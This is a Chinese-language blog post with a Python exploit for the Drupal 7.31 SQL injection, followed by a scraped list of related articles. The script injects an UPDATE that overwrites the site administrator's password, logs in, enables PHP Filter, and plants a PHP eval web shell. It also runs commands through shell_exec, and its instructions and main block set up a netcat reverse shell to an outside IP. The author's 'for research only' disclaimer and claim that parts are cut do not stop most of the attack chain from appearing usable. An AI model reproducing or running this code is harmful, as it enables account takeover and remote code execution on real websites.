Drupal 7.31 SQL注入漏洞利用详解及EXP



有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的。

0x00

首先,这个漏洞真的很大,而且Drupal用的也比较多,应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp。不过,这个洞好像不怎么被重视,这也是极为不合适。

0x01

关于漏洞的原理和POC在我的博客上已经有文章进行解释,这里只是着重说一下利用过程。配合POC的效果,我主要是从远程代码执行和GetShell方面去做的利用。

远程代码执行利用:

1.使用超级管理员进行登录

2.开启站点PHP Filter功能

3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览

4.预览页面载入后就会执行代码

对应EXP中DrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程自动化。我编写这个部分比较费劲的是,requests发送attachment遇到了问题,最后实在没办法就自己对Post数据包进行拼接,拼接结构如下:

在调试程序时,使用burpsuite进行辅助很有效果,通过burpsuite你可以清楚看到每一次交互的数据包格式与字段内容。

GetShell利用:

1.使用超级管理员进行登录

2.开启网站的PHP Filter功能

3.新建block,编辑PHP代码

4.使用PHP_CODE进行保存

Post请求构造如下:

使用python进行发包,有个缺点就是不直观,我们无法获知我们的数据包构造是否正确,这时候可以使用requests模块的proxies参数,将代理设置为burpsuite,然后就可以分析调试了。不过,使用新建block的方法获取shell可能权限比较小。

在构造请求包的时候,有两个字段是form_build_id和form_token,他们是Drupal自带的防止CSRF所使用的token(类似于Django中的csrf防护)。发包之前必须找到这两个东西,使用小型爬虫即可。

还有一个关键点就是模拟登陆后要保存cookie,因为后续的攻击利用都要携带admin的cookie,否则会执行出错。

0x02

命令执行效果:本地监听端口获取反弹shell

测试环境:本地测试

程序执行:如下图

接收反弹shell的过程中主线程会阻塞。

反弹shell效果;

0x03

这个漏洞威力大,带给对方主机的危害也大,而且涉及到用户覆盖以及改变网站原有设置的问题,所以我这里就不准备将代码完整分享出来。

如果想要隐蔽地利用,那么需要做很多辅助工作,比如在开启php filter的过程中,涉及到小型爬虫抓取网站原有的配置信息。还有就是管理员的获取方式进行改进。

接下来就是放出部分代码:

模拟登录函数

开启PHP Filter:

代码执行:

0x04

这种Web类型的EXP编写需要很多细节,在调试的途中我甚至动用了burpsuite。并且这个过程也让我恶心得很。

另外,程序也仅供安全研究与学习交流使用,请读者不要用于非法用途。

0x05

分享一下程序,其中一些重要的部分被我删去一些,程序现在是无法运行的,还是只提供学习交流使用:

#coding=utf-8
import requests
import re
import sys
import socket
import urllib
import urllib2
import cookielib
import mimetypes
import mimetools
class DrupalSQLin():

	'''获取超级管理员账户密码(覆盖)'''
	def getAdmin(self,url):
		try:
			#admin is owned, pass is thanks
			data = {
				"name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',
				"name[0]":"111111",
				"pass":"shit2",
				"test2":"test",
				"form_build_id":"",
				"form_id":"user_login_block",
				"op":"Log+in"
			}
			r = requests.post(url,timeout=10,data=data)
			page = r.content
			if page.count("mb_strlen() expects parameter 1 to be string") != 0:
				print "[+] Get Admin Success:admin/thanks"
		except Exception, e:
			print "Exception exists:%s" % e
			return None

	'''使用超级管理员登录'''
	def login(self,url):
		#get token
		pattern = re.compile(r'name="form_build_id" value="(.+)"')
		r = requests.get(url)
		form_build_id = pattern.findall(r.content)[0]
		login_data = {
			'name':'admin',
			'pass':'thanks',
			'form_build_id':form_build_id, #csrf token
			'form_id':'user_login_block',
			'op':'Log+in'
		}

		r = requests.post(url,data=login_data)
		page = r.content
		if page.count("Log out") != 0:
			print '[+] Admin Log in Success!'

			#获取cookies
			cj = cookielib.LWPCookieJar()
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			login_path = 'http://127.0.0.1/drupal-7.31/'
			pattern = re.compile(r'name="form_build_id" value="(.+)"')
			r = requests.get(login_path)
			form_build_id = pattern.findall(r.content)[0]
			data = {
						'name':'admin',
						'pass':'thanks',
						'form_build_id':form_build_id, #csrf token
						'form_id':'user_login_block',
						'op':'Log+in'
					}
			post_data = urllib.urlencode(data)
			request = urllib2.Request(login_path,post_data)
			html = opener.open(request).read()
			if cj:
				cj.save('cookiefile.txt')
			else:
				print 'Get Cookies Error, Exploit Failed!'
				sys.exit()
			f = open('cookiefile.txt','r')
			cookiesfile = f.read()
			pattern = re.compile(r'Set-Cookie3: (.+?)=(.+?);')
			ret = pattern.findall(cookiesfile)
			cookies = {ret[0][0]:str(ret[0][1]).replace('"','')}
			return cookies
		else:
			return None

	'''开启PHP Filter'''
	def openPhpFilter(self,url):
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=admin/modules/list/confirm")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'modules[Core][php][enable]':'1',
			'modules[Core][color][enable]':'1',
			'modules[Core][comment][enable]':'1',
			'modules[Core][contextual][enable]':'1',
			'modules[Core][dashboard][enable]':'1',
			'modules[Core][dblog][enable]':'1',
			'modules[Core][field_ui][enable]':'1',
			'modules[Core][help][enable]':'1',
			'modules[Core][list][enable]':'1',
			'modules[Core][menu][enable]':'1',
			'modules[Core][number][enable]':'1',
			'modules[Core][overlay][enable]':'1',
			'modules[Core][path][enable]':'1',
			'modules[Core][rdf][enable]':'1',
			'modules[Core][search][enable]':'1',
			'modules[Core][shortcut][enable]':'1',
			'modules[Core][toolbar][enable]':'1',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'system_modules',
			'op':'Save+configuration'
		}
		try:
			r = requests.post(url,data=post_data,cookies=cookies)
			print '[+] Open PHP Filter Success!'
		except Exception, e:
			print "[+] Exception:%s Exploit Failed!" % e
			sys.exit()

	'''获取webshell:?q=admin/structure/block/add'''
	def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"):
		print "[+] Get Shell Module\nNotice: You can use this part get a shell."
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'title':'',
			'info':'shit2',
			'body[value]':content,
			'body[format]':'php_code',
			'regions[bartik]':'-1',
			'regions[seven]':'-1',
			'visibility':'0',
			'pages':'',
			'custom':'0',
			'visibility__active_tab':'edit-path',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'block_add_block_form',
			'op':'Save+block'
		}
		rp = requests.post(url,data=post_data)
		page_content = rp.content
		if page_content.count("created") != 0:
			print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url
			return "%s/?q=admin/structure/block" % url
		else:
			print 'Get Shell Failed!'

	'''远程代码执行:?q=node/add/article'''
	def codeExecution(self,url,code):
		print '''
[+]Code Execution Module
Please make sure that keep nc listener opening when you want to get a reverse shell.
1.First, you need to exe nc -vv -l -p <port>
2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash'
Tips: If you want a echo, add reg by youself.
		'''
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=node/add/article")
		r = requests.get(url,cookies=cookies)
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		#拼接attachment
		BOUND = mimetools.choose_boundary()
		content_type = "multipart/form-data; boundary=%s" % BOUND
		CRLF = "\r\n"
		fields = {
			'title':'chongrui',
			'field_tags[und]':CRLF,
			'body[und][0][summary]':CRLF,
			'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code,
			'body[und][0][format]':'php_code',
			'field_image[und][0][fid]':'0',
			'field_image[und][0][display]':'1',
			'changed':CRLF,
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'article_node_form',
			'log':CRLF,
			'name':'admin',
			'date':CRLF,
			'status':'1',
			'promote':'1',
			'additional_settings__active_tab':'edit-revision-information',
			'op':'Preview'
		}

		L= []
		for k,v in fields.items():
			L.append('--'+BOUND)
			L.append('\n')
			L.append('Content-Disposition: form-data; name="%s"%s' % (k,"\n"))
			if v != CRLF:
				L.append(CRLF)
			L.append(v)
			L.append('\n')

		L.append('%s--' % BOUND)
		L.append(CRLF)

		body = ''
		for x in L:
			body+=x
		headers = {
			'Content-type':content_type
		}
		r = requests.post(url,data=body,cookies=cookies,headers=headers)
		cmd_echo = r.content
		if cmd_echo.count("Preview trimmed version") == 0:
			print 'Execution Error!'
		else:
			print 'Execution Success!'

if __name__ == '__main__':
	url = "http://127.0.0.1/drupal-7.31/"
	code = ""

	print "Target host:%s" % url
	print 'Powered by :Exploit <from 91ri Team>\nQQ:739858341'
	exp = DrupalSQLin()
	#获取admin权限
	exp.getAdmin(url)
	#开启php filter
	exp.openPhpFilter("http://127.0.0.1/drupal-7.31/")
	#getshell
	exp.getShell(url)
	#代码执行
	exp.codeExecution(url,'c:\\\\nc.exe 10.10.10.132 10002 -e c:\\\\cmd.exe')
时间: 2024-08-02 01:11:06

Drupal 7.31 SQL注入漏洞利用详解及EXP的相关文章

Drupal 7.31 SQL注入漏洞利用具体解释及EXP

 有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首先.这个漏洞真的非常大.并且Drupal用的也比較多.应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失.所以我也就仅仅是写个Exp.只是.这个洞好像不怎么被重视.这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释.这里仅仅是着重说一下利用过程.配

[CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现

不是很新的漏洞,记录下自己的复现思路 漏洞影响: Drupal 7.31 Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持. 它是由世界各地积极和多样化的社区建立,使用和支持的. 0x01漏洞复现 复现环境: 1) Apache2.4 2) Php 7.0 3) drupal 7.31 https://www.drupal.org/drupal-7.31-release-notes(点击下载) 环境打包在目录下安装即可 中间遇到的问题: 解决方法:关闭extersion=ph

SQL注入攻防入门详解(2)

SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文

[转]SQL注入攻防入门详解

原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么

SQL注入攻防入门详解

原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么

【转载】SQL注入攻防入门详解

滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长统计|  今日IP[353] | 今日PV[848] | 昨日IP[922] |  昨日PV[2188] |当前在线[10] SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但

程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)

https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面列举一些常见的安全漏洞和对应的防御措施.01 常见的Web安全问题 1.前端安全 XSS 漏洞 CSRF 漏洞 2.后端安全 SQL 注入漏洞 程序员学架构mikechen优知02 XSS漏洞 1.XSS简介 跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的

1.1 sql注入分类与详解

1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来 报错注入是比较常见的错误,主要通过页面返回的php代码解析错误,来进行匹配,爆破 基于错误的sql语句的构造 1.几个重要的函数 -count():统计元素的个数 -rand():用于产生一个0~1的随机数 -floor():向下取整 -rand(0)*2将取0到2的随机数 -floor(rand()*2)有两条记录就会报错 -floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有

Drupal 7.31 SQL注入分析及POC

这个漏洞昨天爆出的 ,今天才有时间看代码. 在Drupal中,执行sql语句都是使用PDO模型进行的,这样做一般来说是可以规避大多数的注入,因为占位符的使用对sql语句的语法进行了限制. 但是这也不意味着绝对的安全,比如这次的漏洞. 在Drupal的user模块中,找到user.module: $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' =>